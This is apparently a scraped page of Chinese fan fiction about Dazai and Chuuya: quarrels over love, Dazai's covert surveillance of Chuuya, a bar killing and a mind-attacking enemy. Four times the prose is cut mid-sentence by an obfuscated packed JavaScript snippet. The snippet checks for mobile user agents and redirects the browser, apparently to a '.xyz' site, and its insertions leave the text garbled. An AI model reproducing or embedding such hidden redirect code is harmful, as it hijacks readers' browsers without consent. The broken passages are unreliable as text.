“理由就是,你这白痴根本不明白自己的感情!你费尽心机了解我的一切,试图以一个上位者的姿态占有我全部的情绪的视线,霸道到我跟别人走近一点就要气急败坏骂我是条没良心的狗!手段阴险、机关算尽,比起对我好,你更喜欢的是征服我,想让我仰仗你的鼻息而活——” “嗯?这不是第一次见面就确定的事情吗?” 中也无奈:“——我要说的就是这个啊!你这根本不是对爱人的态度,是对敌人的态度才对!” 爱人?爱?这个字承载太多,是愚蠢肮脏的人的灵魂里为数不多的闪光点,是百世中百万人间也不一定有一个人能获得的珍贵礼物,它绝不会存在于这场腐朽的梦中。 不知道是“爱人”这个字眼触动了他,还是“爱”这个字刺激了他,太宰内心发出宛如被剁掉尾巴的黑猫一样的惨叫,矢口否认道:“呜哇——,中也在说什么恶心的字眼!你和我根本不可能是那种关系好不好!就算明天就要世界末日了,就算你穿着女仆装跪在地上求我我都不会答应你的!太糟糕了简直太糟糕了!我不愿意!我拒绝!” 中也毫不怀疑太宰要对着自己破口大骂了。 他愤怒又困惑:“闭嘴!吵死了你!我说什么你就不愿意了!你嫌我恶心我还嫌你恶心呢!那天难道是我逼你亲我的吗?!电话是我逼你打的?!” 太宰哑了一瞬,忽然低下头,也不理他,手指下意识揪着被子绞来绞去,好像能绞出花来似的。 中也窝了一肚子火,“啪”的一声拍开他的手,质问:“不是想吵架吗!刚才不是很能说吗,现在装什么哑巴!你要吵架我奉陪到底!” 太宰的手背上立马出现了一个火辣辣的印子,他倔强地扭开头,平静道:“有什么好说的,反正你说你恶心我,正好我也恶心你,我不想跟你说话。” 不是你先说恶心我的,倒打一耙你还委屈上了?! 中也虽然生气,但从小到大这样的场面他早已习惯,毕竟很多时候他自己都不知道那句话没说对太宰就又不开心上了,这玩意就跟乱成一团的毛线一样,越扯越没头绪。 他抛开刚才的对话,咬牙道:“既然不想跟我说话那你就闭嘴,听我说会儿,真是服了你了。我想说,你对我根本不是爱情,那就不要对我做那种情侣才会做的事了,我们的关系是——” 话到嘴边,中也才发现根本没有一个词能准确地概括他的太宰的关系,友情简直就是胡扯,亲情也完全不合适,纠缠的太深感情又太复杂浓厚。如果要从遇见的第一天开始把一切都细细分析,那么只有四个字能概括——命中注定。 太宰神色幽幽看了他一眼,问道:“说的那么肯定,中也,你见过‘爱’吗?” 二十六岁高龄但至今单身的干部大人觉得被挑衅了。 中也没好气道:“那当然了啊!阿呆鸟会送女友跑车房子,给她花不完的钱。冷血也有爱人,保护的很好从来不让她遇见危险。还有我大哥和兰波大哥,他们很和谐的,我大哥那么固执一个人也会听兰波大哥的话。爱一个人当然是和对方在一起就开心,愿意保护她给她绝对忠诚和温柔……应该是这样吧。” 反正总不会是他和太宰这样瞒来瞒去、见面就吵、危不危险根本不在乎只要不死就行,见缝插针不遗余力想要奴役对方。 太宰评价:“啊呀呀,最后一句真不像你能说出来的哦,蛞蝓脑袋也会思考‘爱’这种哲学话题吗?顺便好奇一下,忠诚和温柔,你给过谁吗?” 最后一句声音轻飘飘凉丝丝,随意到好像是商场里买二送一的附属品,中也完全没注意到其中的试探意味。 他不好意思咳了一声,诚恳道:“因为那句,是我哥讲过的。还有!死青花鱼!不要瞎给我起外号不然我真的会揍你!” 太宰哼笑一声,姿态悠闲地躺回去,振振有词批评道:“咦——,中也根本什么都不懂,明明谁也没有见过‘爱’,还非要下那些无聊的定义,不过那种东西肯定不会落到你我头上就是啦!好了,我要睡觉,晚安哦中也!” 太宰否认的很坚定,他斩钉截铁的态度像一根小刺一样扎进中也心里,疼了一下,并不明显,依旧可以装模做样地嘴硬,维持好成年人的风度。 “你知道就最好了,以后不要干那些无聊的事!这怎么就睡了,你还没跟我讲你当上干部的事呢?” 当上干部必然不容易,受伤流血也是难免的事,只是所有人都恐惧“港\黑幽灵”的威名,从来没人这么大剌剌地毫不讲理关心那些丑陋伤口的由来,更何况这个人还是在他心里最特别最独一无二的那个人。 就像在学校里被欺负的小学生找到了为自己撑腰的家长,满腔委屈终于有了发泄的地方,可话攒了太多又不知道从何开口,那必然伴着滚烫的眼泪,伴着如蚌肉一样柔软的内心,太宰不愿意让中也看到那样的自己,在中也还没明白他的心意前。 他把头埋在被子里,声音透过鹅绒传出来闷闷的:“不说中也也会自己查吧!我可不是你那种会让自己受伤的白痴。受过最大的伤害就是打中也的电话打不通,小狗要随时为主人待命,这么简单的道理都不懂!” “啊。真是服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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再挑剔的人也不得不承认,太宰治那张脸确实是造物主的恩赐。 要是是个懂事的哑巴就更好了,说不定他会—— “哇——,中也好过分,小狗怎么可以嫌弃主人!绝对不可以!” 思绪被打断,中也无奈地想,这人真是一眼就能看穿他的想法,不过他也懒得遮掩就是了,没那个必要。 中也缓声道:“又给我打电话,有什么重要的事吗?启奏吧!” “这回真是有重要的是哦!当当当当,看这个——”太宰语气愉悦,对着视频举起一件中也的大衣,镜头照到的地方,被绣上了一个奇怪的图形,像只壳长到脑袋上的蜗牛,视频对面那傻逼还献宝一样问道,“小狗专属铭牌,以后你的衣服就不会丢了。” 他都干部了还会在意衣服丢不丢吗,好蠢。 中也没笑,心里寻思有空带太宰去医院看看脑科,最近行事太离奇了,没一件在中也的意料之内。 “还有,中也,你什么时候回来?你这回都出差三天了,这时候应该已经到家了吧——看,我可是做好晚饭等你了哦!” 太宰脸上的表情依旧很愉悦,整个人散发着一种——贤妻良母一样的温柔气息。 简直像是书本里那种在家做好饭等丈夫回来的贤惠妻子。 中也被自己的想法吓得毛骨悚然,电话都拿不稳了,一边说这剧本有点熟悉,一边觉得还是找个神婆给太宰做场法事吧。 这简直是见了鬼了! 电话那头的“鬼”声音温柔又危险:“中也,什么时候回来呢?你不回来,我就去找你了哦——无论你在哪。” 29.亲情变质中 回到家,正好赶上晚饭时间。 中也站在门口踌躇一会,不知道该不该推门进去。 说出来可能有点奇怪,中也最近不太想看见太宰,倒不是害怕,只是每次一看见那张脸听见对方调笑的声音,他浑身汗毛都要竖起来了,就跟巴普洛夫的狗听见铃声一样,他一遇到有关太宰的事就觉得自己不对劲。 那是一种非常复杂的感觉,中也理解不了,直觉危险,很想逃避。 而这一切的罪魁祸首显然没有一点自知之明,整天想尽办法往中也面前凑。 门吱呀一声从里面打开了,来人系着围裙,跟他大眼瞪小眼傻站了一会儿。 “啧,”太宰从上衣口袋里掏出怀表,举起来看了一眼,问道,“笨蛋蛞蝓出差三天进修礼仪去了,不错不错,回家还知道要先敲门,很把我这个主人放在眼里嘛~” 太宰满意点点头,笑了起来,一边说着“那我表扬表扬你”一边伸手取下中也的帽子准备揉揉脑袋。 这欠揍的样子真是一点没变! 中也瞪了他一眼,伸手要把他的帽子拿回来,太宰却仗着身高优势举起手,顺便用力摁着中也的肩膀。 “哎呀,好像听到了童话书里矮人先生声音,在哪里呢~完全看不到哦~” “吵死了啊你,我可不是什么蟑螂!” 中也一怒之下拎着衣领把人抡到门板上,门没有关紧,惯性作用下往后合上,砰地发出巨响,两人也跟着往后倒,上身几乎贴在一起。 钴蓝色眼睛带着怒火,十分有气势地和太宰对视。 太宰齿间逸出一声轻笑,像是认输了一样把帽子戴回中也头上,手指似有若无擦过中也的面颊,最后帮他把争吵时散落的一缕赭色发丝别回耳后。 “中也居然这么上赶着投怀……”似乎是觉得不妥,太宰把后半句咽回去,把自己的心思全藏在眼睛里。 手指碰到的地方痒痒的,配上太宰眼底的笑,让中也觉得自己和被调戏了没什么两样。 当然,他自己的情况也算不上多清白,手还放在太宰腰侧的门板上,双腿抵在对方胯间,要是再长高个三十厘米,简直就像是少女漫里常见的壁咚情节。 这怎么可以!!! 中也一下子弹出去,转过身去手背在身后往里走,大脑飞速转动,憋出一句:“……不是说做好饭了,晚上吃什么?” 后方传来清亮的少年音:“乌冬面,不过,比起这个,还有一个更重要的问题哦。” 中也走到餐桌旁,拉开椅子,大爷似的往那一坐,终于找回一点熟悉的感觉,不耐烦回头乜了太宰一眼:“有事直说,干嘛吞吞吐吐的!” 太宰就靠在门上,直勾勾看着他:“中也的飞机下午五点十分整抵达,回到Mafia汇报完工作是五点四十三分,家里里公司也就八分钟车程,算上打电话的三分钟,你也应该在六点前到家吧?可为什么你要在办公室静坐十几分钟才回来,你在想什么?” 中也毫不怀疑,太宰对自己的一举一动可以精确到以秒计算,几点吃饭几点睡觉他全都要知道。 他简直要气笑了:“我爱想什么想什么!你这家伙管这么多,条子还给犯人一点喘息的空间呢!一天二十四小时打着电话还不行,你怎么不往我脖子上栓条链子,让我千万别离开你的视线范围不就行了?” 太宰歪头看了他一眼:“不是你说的吗?” 中也耐着性子回答:“是啊,我是说以后你的电话我都会接,可除了这个呢,你往我身上装窃听器装监控又是为什么?” 太宰摇摇头,似乎十分苦恼,想了一会儿才回答道:“我说的不是这个。” 中也最受不了这种绕来绕去的聊天方式,说话好像在挤一支用完的牙膏,废了半天劲才让对方吐出来一星半点,效率低到闻者伤心见者落泪。 “你这混蛋到底想说什么啊,别磨磨唧唧行不行?!” 太宰垂下眼帘,嘴抿成一条直线,很小幅度地深吸了一口气,才敢抬头看中也:“我放那些窃听器和监控,是想…是想保护你。” 说完,他偷偷观察中也的表情,眼睛亮晶晶的,在心底默念:爱是保护,是温柔和忠诚,这是你一周前告诉我的那些关于“爱”的理解,我正在努力践行。 “…哈?你保护我?”中也越发摸不着头脑,心说太宰果然还是被鬼附体了吧,“什么跟什么啊,有你这么看不起人的吗,你这家伙是聪明,可我还没有沦落到离开你的保护就会死吧!” 中也脸上除了困惑就是不耐烦,扫一眼就知道他是打心底里觉得太宰真是太奇怪了,看病都要挂精神科。 太宰重复了一遍:“这明明是你自己说的吧!真是世界上最蠢的狗,居然连自己的话都忘了!” 上天可鉴,他中原中也就是断两条腿,也轮不到太宰治来保护。 “你别胡说八道了行不行,我什么时候说过这种话!……行了,就算我以前说过,那我现在告诉你,把你那些东西收一收,我用不着也不想要你的保护!” 太宰声音也冷下去:“那你想要谁的?” 什么谁的? 中也一点也不理解自己那句话又触到对方神经了,可太宰只会咄咄逼人找他要个说法,显然没有把话讲明白的打算。 他一头雾水,又能给出什么让太宰满意的答案? 中也很想回一句“关你屁事”,但这么说太宰肯定不开心,他在意对方的情绪,换了个说辞:“你的想法很好,但你做的那些只能给我困扰。我可是黑手党,用不着你一个还没成年的小孩保护!” 太宰瞪圆了眼睛,似乎完全不能理解中也这番话,或者说是不想理解。 太宰一直比别人聪明,思考的速度连机器也比不过,中也毫不怀疑给他一秒钟他就能把一个完全陌生的人从头到脚剖析完全。 但这次太宰沉默了十几秒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919654|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且仍有一动不动完全石化的趋势。 “喂喂——”中也问道,“你到底在想什么啊,在怨言形成以前,好歹要说出来让我知道吧?” 可那种话怎么可能对中也这种级别的笨蛋说! 太宰不高兴道:“没什么好说的,蛞蝓脑袋根本理解不了人类的复杂,你真是太讨人厌了。” 撂下这句,他把围裙一摘,在沙发上挺尸一样躺下去,带着耳机,一张珊瑚绒的毯子从头盖到脚,显然是不打算再说话了。 急匆匆赶回来白挨一顿骂,什么还没明白就又被迁怒,中也心说我还没不开心你可不开心上了,简直太过分了! 都是惯的。 他怒冲冲站起来,冷笑道:“行行行随你的便吧,不乐意说那你也少管我!绷带混蛋,简直烦死了!” 说完,他迈着粗鲁的步伐走到门口,大力打开门出去。 - 离开家,吹吹夜里的凉风,中也冷静不少。 正好回来前同事们还问他要不要喝杯酒放松一下,现在终于有机会了。 他站在马路边上,一通电话把阿呆鸟叫醒。 “我在我家楼下,快开车来接我,咱们去喝酒!” “天呐,干部大人已经可怜到买不起车了?!” “……没带车钥匙,不想回家拿,少废话了赶紧来。” 一听这话阿呆鸟就猜中也和太宰又吵架了,他心道不应该啊,两人感情不是好得很吗,整天又是电话又是送饭又是接送上下班,俩黑手党谈起恋爱腻歪死个人,这还能吵架? 心里腹诽,收到电话后他还是立马取了钥匙驱车去中也家楼下。 远远就看见一个小小的人影在大马路边酷酷地蹲着,瞧见他来了也没什么反应,有气无力地挥挥手算是打招呼,看起来像是心情很不好的样子。 他把车开过去,笑道:“哟,少见啊,快上来吧中也!” 连车门都不用开,中也撑着敞篷车边缘,操纵重力落到副驾驶上,安全带也不系,头往后一仰,吐出一句:“去JUSTBAR,小林他们应该都在那里。” 小林是中也手下作战小队的队长,也是这次陪着中也出差的人员。 阿呆鸟打开车载音响,大笑道:“还真把我当司机啦,好不客气啊中也,怎么了,跟家里那位吵架了?” “什么家里那位,你这混蛋别说的那么奇怪啊!”中也刚要生气,脑海里又浮现出太宰的脸,火一下子全消了,无力道,“我家里除了那个烦人精什么也没有!” 哦,那就是跟那位烦人精闹别扭了。 阿呆鸟了然笑笑,开导道:“咱也是谈过几段恋爱的,和伴侣吵架是每对情侣都会有的事啦,人之常情,人之常情,把话说开不久没事了嘛!” 中也腾一下坐起来,大叫道:“你在说什么啊,谁和太宰那混蛋是情侣了,真是恶心的我去年的饭都要吐出来了!闭嘴闭嘴!” 30.两地 太宰一张毯子盖住全身,耳机戴在耳朵上,但是里面并没有声音。 就像被惯坏的孩子总是习惯在家长面前颐指气使那样,他也习惯了在中也面前话说三分,剩下七分全都要中也去猜,他享受中也为他的心思抓耳挠腮的过程。 唯有这样恶劣的不断试探,他才能确定他在中也心里的特殊,如同一个不会表达自己的小孩子,总是通过眼泪来强占大人的关注,这招百试百灵,太宰从小用到大。 谁让中也对他总是有求必应。 即使闷在毯子里,戴着耳机,他也清晰地听见中也的脚步声,没有丝毫停顿地掠过他向门外走去,拧开门把手,走出去,砰地一声关上门,再走远。 吵闹的房间终于安静下来。 心里有个黑衣服的小人猖狂地笑:哎呀!终于把人气走了,他不要你咯,得偿所愿了呀太宰! 一个白衣服的小人眼泪汪汪:太宰你好好跟他说话啊,这才不是你想要的,你跟他说你只是太久没见他很想他呀!你说呀你说呀! 一黑一白两个人在他脑海里吵吵嚷嚷,太宰烦躁死了,一把掀开毯子坐起来,把两个人影从脑海里驱散。 天已经完全暗下来,窗户外有星星点点的光,远处霓虹闪烁,灯红酒绿连成一片热闹的人海。 屋里却一片死寂,像是漆黑的海底,宇宙中的黑洞,声音无法传递。太宰把头靠在沙发背上,隔着窗子静静窥视那片霓虹。 不知道这样的姿势维持了多久,午夜十二点的钟声响起时,太宰才惊醒过来,脸上浮现出一点愉悦。 午夜十二点后,灰姑娘的魔法即将失效,一切美好有如梦幻泡影,辛德瑞拉又回到家中成为灰扑扑的女仆。 可这里不是童话,今夜十二点过后,是太宰的十八岁生日,是代表着所有争吵都可以一笔勾销的美好日子。 他对自己的生日倒不是多在乎,毕竟活着来到这个腐朽的梦中的世界简直是最糟糕的事,要是还要为这样的日子敲锣打鼓地庆祝,那简直就是苦上加苦。 不过某个小矮人很在乎,并许诺以后的生日一定会陪他一起过,还会第一时间送他生日祝福。 这相当于有了一块免死金牌嘛,毕竟中也说过过生日的人最大,那退一万步讲,就算刚才是他惹中也生气了,中也也不能不理他。 太宰美滋滋去拿手机,想看看中也有没有给他发信息,或许订了某家高档餐厅等着他去,或许准备了什么稀奇古怪又贵的离谱的礼物,或许是什么一眼就能猜出来的惊喜。 正好他也有些饿了,如果中也约他去吃饭的话,他这个主人就大度地原谅小狗的无理,然后大发慈悲地跟他解释一下自己的好心。 亮起的手机屏幕印出上扬的嘴角,纷杂的信息接连不断弹出来,唯独没有他想看见的那一条。 太宰的笑容僵住,点开和中也的对话框,上一条信息还是六点十分的时候,对方和他说马上就到家了。 他不相信,退出去检查网络,刷新两遍,再点开对话框。 依旧没有新消息。 太宰握着手机的手用力到指节泛白,似乎完全不敢相信,就算是之前分居两地的时候,中也也一直是卡点祝福,少一秒多一秒都不行。 简直太过分了,有什么事会比主人的事还重要!!! 太宰舌尖擦出冷笑,对着对话框发了个“?”过去。 三秒后,没有回复,太宰又把那个问号撤回。 这也太刻意了,搞得好像他像条离不开主人的小狗一样,离开中也几个小时就受不了了。 明明中也才是小狗!!! 一阵难受一阵委屈,肚子还不合时宜地叫了起来。 太宰想起来自己煮好的两碗乌冬面还在厨房放着,面无表情把手机揣在口袋里朝着厨房走过去。 乌冬面放了太久已经完全凉透了,面条早错过了最佳食用时间,吃起来软浓浓的让人恶心。 太宰面无表情吃下去,心里想到中也居然完全忘了他的生日,简直是全世界最差劲的小狗。 再吃一口,又想起来中也斩钉截铁地说用不着你的保护。 中也不要他,连同他笨拙的爱一起拒绝。 想到这里,胸口仿佛压了一块巨石,让他喘不过气来,刚在咽下去的食物也在胃里翻滚起来,一阵抽痛,想要呕吐。 熟悉又陌生的情绪蛮不讲理占据全身,这是只有中也能给他的情绪,名为难过。 怎么可以这样呢? 肯定不是因为中也,只是因为乌冬面太难吃了。 就算餐桌对面没人,他还是把另一碗乌冬面放在了中也常坐的位置上,就好像他想的那个人会赏脸吃下似的。 那碗没人动过的冷掉的面摆在哪里,像是展柜里冰冷的艺术品,制作它的大师手艺精湛,只需一眼,就能看出那碗面上凝固的油膜,黏糊糊的面条就在油膜之下,不用吃也能想象到它的口感,粘腻,冰冷,滞涩,乏味。 一点也不讨人喜欢,就和制作它的主人一样,活该被遗忘在黑暗的角落。 口袋里的手机忽然叮铃铃响起来。 - 酒吧里的灯光如海浪,劲爆的乐声如潮,客人们的欢声笑语将这片天地染成欢乐的海洋,置身于此,人的心情也随之飞扬。 唯独那双钴蓝色的眼睛没染上一点笑意。 自从车上和阿呆鸟强调完他和太宰不是那种关系后,他的心情一直很微妙。 小林井明——中也手下作战部队队长,正好其他兄弟喝酒聊天,商量着晚上去泡那个妞,一回头,看见自家平易近人的干部大人一个人坐在吧台边喝闷酒。 他和中也接触比其他人多,知道自己的老大是个万事心上过的性子,这种烦闷得要命却什么话也不说的样子简直稀奇。 他端了两杯香槟,走过去打招呼:“老大,一起来玩呗,我们可都很期待你的加入啊!” 中也哂笑:“放屁!平时训你们的时候可一个个跟鹌鹑一样怕我,你小子过来干吗?” 小林:“过来跟老大套近乎,说不定干部大人一高兴就给我升职加薪了呢!” 中也:“再给你升职我也不用干了,这干部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了好了,知道我们唯我独尊小王子对感情一窍不通了,这种话题还是让成熟男人我来讲吧!” “对对对,老大,你不是常常跟我们说,万事不用想太多,问心无愧就行了!” “那我开始讲咯,我的第一个女友那可是相当漂亮相当温柔……” 酒杯碰撞声,话语纷扰声,连带舞池劲爆的音乐,酒吧缤纷的灯光,一切的一切似乎都在离他远去,就像玻璃上划过的水痕。 他全身全心都在想一个人。 为什么面对他的时候总觉得奇怪?为什么一些不值得计较的小事,只要和他有关就要斤斤计较?为什么总要在意他想什么?为什么总要思考他的行为有什么意义? 为什么你不敢坦荡地看着他的眼睛? 中也举起酒杯垂下眼帘,苦涩地喝了一口酒。 就算给自己找无数个理由遮掩,他也没办法欺骗自己,他问心有愧。 所以从此他再也没办法坦荡地看着那双眼睛。 31.独立 阿呆鸟和小林相见恨晚,聊得热火朝天。 中也夹在他们两个中间,一句话也没有听进去,一杯酒接一杯酒下肚,理智终于彻底被酒精麻痹。 大脑不听使唤,心脏的声音才终于慢慢悠悠传到耳边。 心脏说,中也,承认吧,尽管没有理由,但你就是爱他。 午夜十二点的钟声响起,昭示着新的一天到来。 杯中的特调加了许多冰,杯壁渗出星星水汽,冰凉的感觉带来片刻的清醒。 中也后知后觉自己有件非常重要的事情没做。 糟了,太宰的生日! 中也忙不迭摸手机,想先给太宰打个电话,礼物和惊喜都已经准备好了,白天的时候再给他,唯有祝福一定要准时。 这可是他们的约定。 远处忽然有什么东西飞过来,擦着中也身边,轰的一声狠狠砸在吧台上。 吧台巨震一下,酒瓶和玻璃杯哗啦哗啦碎了一地,香槟伏特加啤酒不分你我地洒在周围人身上,中也离得近,用重力异能挡了一下,碎片没溅到他身上,但酒液却毫不讲理缠上了干部大人的黑外套和贴身的三件套。 衣摆处滴答滴答滴着水,中也冷冷往下瞥了一眼。 像彗星一样砸在中也身边的是个人,长发,短裙,但是仰头的时候能看见喉结,看装扮像是这里的驻唱。 不男不女的驻唱眼眶通红,对上中也的视线瑟缩一下,低头嗫嚅道:“对不起对不起对不起……,不要打我!求你了!” 他越说话头越低,简直要埋到胸口,肩膀不自然地垂着,看样子像是骨折了。 小林踩着一地的碎片走过来,急匆匆道:“怎么样,老大,没事吧?” 阿呆鸟招呼服务员和酒保打扫一下,见怪不怪地继续喝酒,走过去拍拍小林的肩膀:“估计有人闹事呢,真是找死找到阎王殿了!” 几个身穿黑衣的男人走过来,左看看右看看,最后锁定地上的短裙男人。 打头的男人中气十足笑起来:“你他*的,臭**,不男不女的玩意,让哥看看你的**,躲个什么劲!他旁边那个黄头发的矮子,滚一边去!” 阿呆鸟瞪大了眼睛,偷偷观察中也的表情,内心腹诽,这那个组织的,喝酒喝疯了,敢挑衅重力使,真是奔着死来的啊! 几个男人露出一个恶心的笑,慢慢朝这边靠近,浓臭的酒气传过来。四周的人群就算不认识这个找死的男人,但重力使的脸可明晃晃在哪摆着呢,打起来非死即残啊,他们不敢惹事,做鸟兽状散开。 地上的服务员急得快要哭出来了,他一边注意着对方的步伐,一边费力想要站起来,急出满身满脸的汗,实在避无可避,只能缩成一团躲在身旁穿着黑色大衣的男人。 这是唯一可以躲避的障碍物了。 几个男人已经走到跟前,看见这个黄毛小矮子根本不把他们的话放在心上,怒骂:“□□*的傻*,赶紧滚开,别逼老子打死你!欠*是不是!” 中也抬起头,像看垃圾一样看了他们几个一眼,随意勾了勾手,地上的玻璃碎片在红色能量流的裹挟下浮空,又以子弹一样的速度射进几个男人的身上。 压在他们身上的重力太沉重,几人还没来得及大叫,先跪到地上,骨骼发出“咔嚓”的断裂声,他们的身体和刺猬一样缩成一团,将地板压出蛛网状裂纹。 血迹蜿蜒,一场暴动以对面全部死亡轻巧结束。 眼前的惨状中也全然没放在眼里,他回头敲敲吧台,对赶过来的经理道:“Mafia的账都记到我个人账户上,哦,还有这些损失,我也赔了。” 经理脸上挤出菊花似的笑,连连点头:“是是是,要不要给中也大人换个地方?” 中也摇摇头:“问他们吧,我有事,要先走了。” 阿呆鸟看见中也耳朵漫上薄红,无奈地想,这是真喝醉了,就算这个酒吧里大部分都是黑手党,大庭广众之下杀人也很难处理的啊! 杀完人就走什么的,在这个法制社会可行不通! 没办法,只好替这个醉鬼忙活一晚上了。 他问中也:“这就回去了,有人来接吗,用不用给你安排司机?” 中也冲他扬扬手机,上面明晃晃的“青花鱼”三个字,显示正在通话中,开了免提,对面明显不太开心的少年声音清凉,嚷嚷着:“中也,你给我打电话干嘛?新的一天收到你的电话感觉好倒霉!” 喝醉了的中也不跟他计较:“来接我,喝醉了不方便开车,位置发你了!” “什么啊!中也喝醉了就知道使唤我,我绝对不会去的!绝对不会!” 中也点头:“好好好,我知道了,路口等你,快点来!别磨磨唧唧的!” 电话那头的人还要嚷嚷,中也直接挂了电话就要出去。 阿呆鸟把这番驴唇不对马嘴的对话尽数收入耳中,一边感叹中也喝醉了连人话也听不清了,一边后悔刚才没把这段对话录下来,等中也清醒的时候敲诈他一瓶红酒。 不过眼下这样,显然是不能放中也一个人去路边等人啊! 阿呆鸟看了小林一眼,对方十分有眼色,主动道:“您先送老大出去吧,老大的安全最重要了!这几个死人交给我吧,专业对口。” 阿呆鸟笑着冲他比个大拇指,连忙放开脚步去追中也。 酒馆位于地下隐蔽处,保密性极好,他通过层层安保措施,沿着蜿蜒的阶梯走到地上,朝着路边走了一段,才在一处与人等高的花坛后看见中也的身影。 除了中也,还有一个人,长发短裙,身量比中也高半个头,浑身是伤,衣不蔽体。 他瞬间认出来这是中也在酒吧救下的那个人。 阿呆鸟走过去的脚步顿住了,心里直觉不太对劲,那个人刚才还浑身是伤站都站不起来,怎么这么快就追着中也出来了。 不过,这或许是个好机会。 他装作闲逛的路人,找了个能听清他俩谈话的地方闲站着。 中也一脸苦恼地站在路边,听着那个不知是男是女的驻唱连连对他道谢,感谢他的出手相助。 他最不擅长应对感谢和善意,只好干巴巴道:“不用谢,不是帮你,看他们不顺眼。” 驻唱眼睛通红:“真的非常感谢你,不是你我会被他们欺负死的!我…我可以请你去吃饭!” 他说着,似乎是想要拉住中也的胳膊。 中也不喜欢别人触碰,轻巧避开,退了一步:“不用,顺手而已,心意我领了,你快回家去吧!” 驻唱扑了个空,手臂抱着胳膊瑟缩一下,似乎极冷,又开始掉眼泪:“能拜托您送送我吗?我这样…回去……” 中也这才注意到他上半身几乎赤裸,虽然是个男人,但毕竟长发着短裙,路上确实很容易被不怀好意的人盯着看。 他把肩上的外套取下来递给对方:“先披着这个吧,口袋里有点现金,就近找个地方住一晚。我可是黑手党,别把我当什么好人!行了,你走吧。” 对方不说话,接衣服的时候手指触碰到他的手指,隔着手套也能感受到轻微刺痛,像是被小针刺了一下,那双灰蒙蒙带着水汽的眸子里出现钟表指针一样的东西,高速旋转着变成鸢色,像是有神奇的吸力一样。 在中也眼中,驻唱的身影和太宰交叠,声音隔着云雾让人眩晕:“中也,跟我走吧。” 两人停顿太久,阿呆鸟直觉不对,在心里抱怨太宰那小子怎么还不来,连忙三步并两步准备上去拦住中也。 余光里,一辆眼熟的黑色劳斯莱斯幻影停在路边,前排车窗降下一半,驾驶座上的人露出半张俊丽的脸,里面的人轻轻叫了一声中也的名字。 阿呆鸟脸上露出笑,心说可算来了,他已经准备好为这两个笨蛋绕来绕去的爱情添一把火。 车门打开,一只苍白修长的手先露出来,阿呆鸟找准时机煽风点火:“啊呀,太宰,你怎么这时候来了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938612|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜了没看到中也英雄救美的英姿啊,这不,现在两人聊的可开心了,准备一起共度良宵!要不,你先回去?” 车门开合,高挑人影已经站到跟前,不带情绪地吐出疑惑:“英雄救美?共度春宵?真厉害啊中也!” 话题的中心人物依旧站在那,连半个眼神都没有分给太宰,还在借着外套和那位“美人”拉拉扯扯。 真让人恼火! 太宰脸上笑容轻薄,等了片刻没等到回答,笑脸也就懒得维持,几步走过去,不由分说用自己的黑色西服外套裹住中也,半揽半抱地把人扣在怀里,和那位长发“美人”对上视线。 “美人”瑟缩一下,眼看要落下泪来,楚楚可怜地看了太宰一眼,小声道:“我和中也先生约好了去吃饭,您要一起来吗?” 灰色的眼睛雾蒙蒙惹人可怜,太宰一眼就看出来他是装的。 这种把戏也就能骗骗中也这种白痴了。 太宰微笑:“不用哦,我来接我哥回家。忘了问,您跟中也现在是什么关系呢?” 对方低头害羞道:“中也先生还挺喜欢我的……” 太宰:“……哦,那就是没关系咯。衣服给我。” 说完这句,他朝对方伸出手,“美人”被他毫无廉耻和同情心的行为噎了一瞬,不情不愿把衣服还给他,太宰不客气地收下,甚至懒得再分给他视线,扶着中也上了车。 阿呆鸟笑容灿烂,隔着车窗和两人挥手告别:“路上小心哦,有话好好说哈!” 看见太宰帮中也系好安全带后,他越发满意,果然感情这事就是要刺激一下才行嘛。 车驶出后,阿呆鸟敛了笑容,回头看着那位灰眼睛的驻唱。 对方现在被定在原地,动弹不得,依旧装作无辜的样子,害怕地看着他:“这位…这位先生,您你要对我做什么!?” 阿呆鸟朝他走近,避开对方视线,慢慢道:“不如问问你要做什么?隶属于【愚人】的歌伎大人,异能力【十日谈】,可以对敌人发动精神攻击从而导致精神错乱,我说的对吧?” - 劳斯莱斯幻影在黑夜里疾驰。 车上的两人都非常安静,一言不发赶路。 直到回到家中,中也脑中响起一道浑厚钟声,他才如梦初醒一样看了太宰一眼,笑道:“你终于来了,来的好慢。” 明知道对方是个醉鬼,现在可能连一加一等于二都算不清楚,自己不应该跟他计较,可太宰还是忍不住道:“我要是没来呢,你就和那位心上人共度春宵了是不是?” 虽然中也喜欢谁这种事他一点都不在意,但自己的狗要去找别人还是让人有点生气啊! 中也现在整个人都晕晕乎乎,浑身又燥又热,靠着充盈在鼻尖的一点薄荷和消毒水混合的味道才堪堪维持住一线理智。 那是独属于太宰的味道,代表周围很安全。 